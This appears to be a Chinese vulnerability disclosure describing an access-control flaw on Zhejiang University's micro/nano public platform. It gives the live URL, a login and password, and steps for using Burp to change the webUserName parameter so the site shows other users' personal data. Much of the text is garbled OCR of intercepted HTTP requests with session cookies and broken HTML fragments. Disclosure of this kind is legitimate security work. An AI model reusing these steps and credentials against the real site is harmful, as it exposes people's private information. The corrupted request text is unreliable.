浙江大学微纳公共平台存在逻辑缺陷，可越权访问其他用户敏感信息
URL：https://nano.intl.zju.edu.cn/login.aspx
202103120201 / 123456
登陆后在个人中心可查看个人信息
[image: IMG_256]
开启bp拦截，刷新页面，修改webUserName（用户名）参数，可越权查看其他用户个人敏感信息
这里将202103120201改为202103120202
[image: IMG_257]
[bookmark: _GoBack][image: IMG_258]
成功越权
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Raw | 24 | 3 | Hex

Hex | HTML | Render

SET /admin-ussrinfo.aspx?ClassID=43 HTTP/1.1

fost: nano.inl zju. edu.cn

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; v109.0) Gecko/20100101 Firefox/111.0

\ccept: text/html application/xhtml-+xml application/xml=0.9 image/avifimage/webp /% 4=0.8

\ccept-Language: zh-CN,zh; 4=0.8 zh-TW:q=0.7 2h-HiK;q=0 5 en-US;q=0.3,en:q=0.2

\ccept-Encoding: gzip, deflate

Referer: hittps://nano intl zju. edu. cr/default aspx

Sonnection: clos

Sookie

'S85ads201027=080b38bad2ab2000f4 1083d9309236801915a0b5b 2693457 62563690 250082717 d2bb04441 c62087
205ace1130004464541561818a3b56896922470714dI502647 b1 49384131 ec97 4566b07 addd366/5a47553aebes
2663504d00; ASP.NET_Sessionld=Ic1 grebdSmbmithi ow34540;

S010c5247=019b1426531bchochSh7 983 1568153ad300248100 1842543007 72134655601c52080385abde 520443
780bcBBa8=a3at2dbc 73a308b9b520360773a843681 1h2aa7 2262233
1791527 d71411239569 jebUserPass=str_key=123456
Jpgradz-Insecure-Requ
Sec-Fetch-Dest: document
Sec-FetchMode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User 71

<div class="info_box_ftem">
<span> Rl </span>
<input type="text" id="address" valu
<ldiv>
<div class

ERl

% </option>

<div class="info_box_item">
<span>HLAEHLIE</span><span style="width:1px; colorred; text-align et S&g/span>
<input type="text" id="jigou" valus="li{[ ">

<tdiv>

width:1px; color red: text-alignleft">*</span>

selected
>Eepi<loption>
<option value="Fe41" > ehh</option>
<lselect>
<tdiv>





image3.png
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GET /admin-userinfo. aspx?ClassiD=49 HTTP/1.1
Host: nano.intl zju.edu.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wind; x64; 1v:109.0) Gecko/20100101 Firefox/111.0

Accept: text/html application/xhtml+xml,application/xml;q=0.9,image/avil image/webp *1*.q=0.8

Accept-Language: zh-CN zh;=0.8,2h-TW: 4=0.7 zh-HK; 4=0.5 en-US;q=0 3 eniq=0.2

Accept-Encoding: gzip, deflate

Referer: https:/inano.intl zju.edu cn/dzfaut aspx

Connection: close

Cookie:
TS85de201027=080138ba42ah2000141083493d9236B091f50b5b2b3487 6252369 ae5008 267 17 d2bb04441 cE2087
2605ace113000446454561818a3b589692244707 495026471 109384131 ec9e7 4566H07 ad dd3665a47553TackBs
£2663504d00; ASP.NET_Sessionld=Ic1 grebdSmbrml1h1 0w34540x;

TS010¢9247=019bb426913 1 bebccbSh798a1 156833ad3002d91001842ed3b077213b5580bce 2880385 abde3529442
a780hcB6aBeadam2d5 e 22306b9b520360773a843681 12272263233
7916527 71411239569 bUserPass=str_key=123456
Upgrade-Insecure-Reque:
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Stte: same-origin
Sec-Fetch-User 21

<di class="info_box_jtem'>
<span>B flbh</span>

<input type="text” id="address" valus="111 5 £ £1">
<ldiv>
<div class="info_box_item">
<span> A Ispan>
<select name=" id="jtype">
<option valus .
selected
> SHiE</option>
<option valus
<lselect>
<ldiv>
<div class="info_box_item">

<span>iiE# 5 W</span>

info_box_item”
<span>AEHLIE</span><span style="width:1px; colorred; text-align left">*</span>
<input typ HEE A

<ldiv>

<div class="info_box_item">
<span> 1 ZH</span><span style="width:1px; colorred; text-align'left">*</span>
<select name=" id="peotyps">

<option valus="t 11

selected
>Eepi<loption>




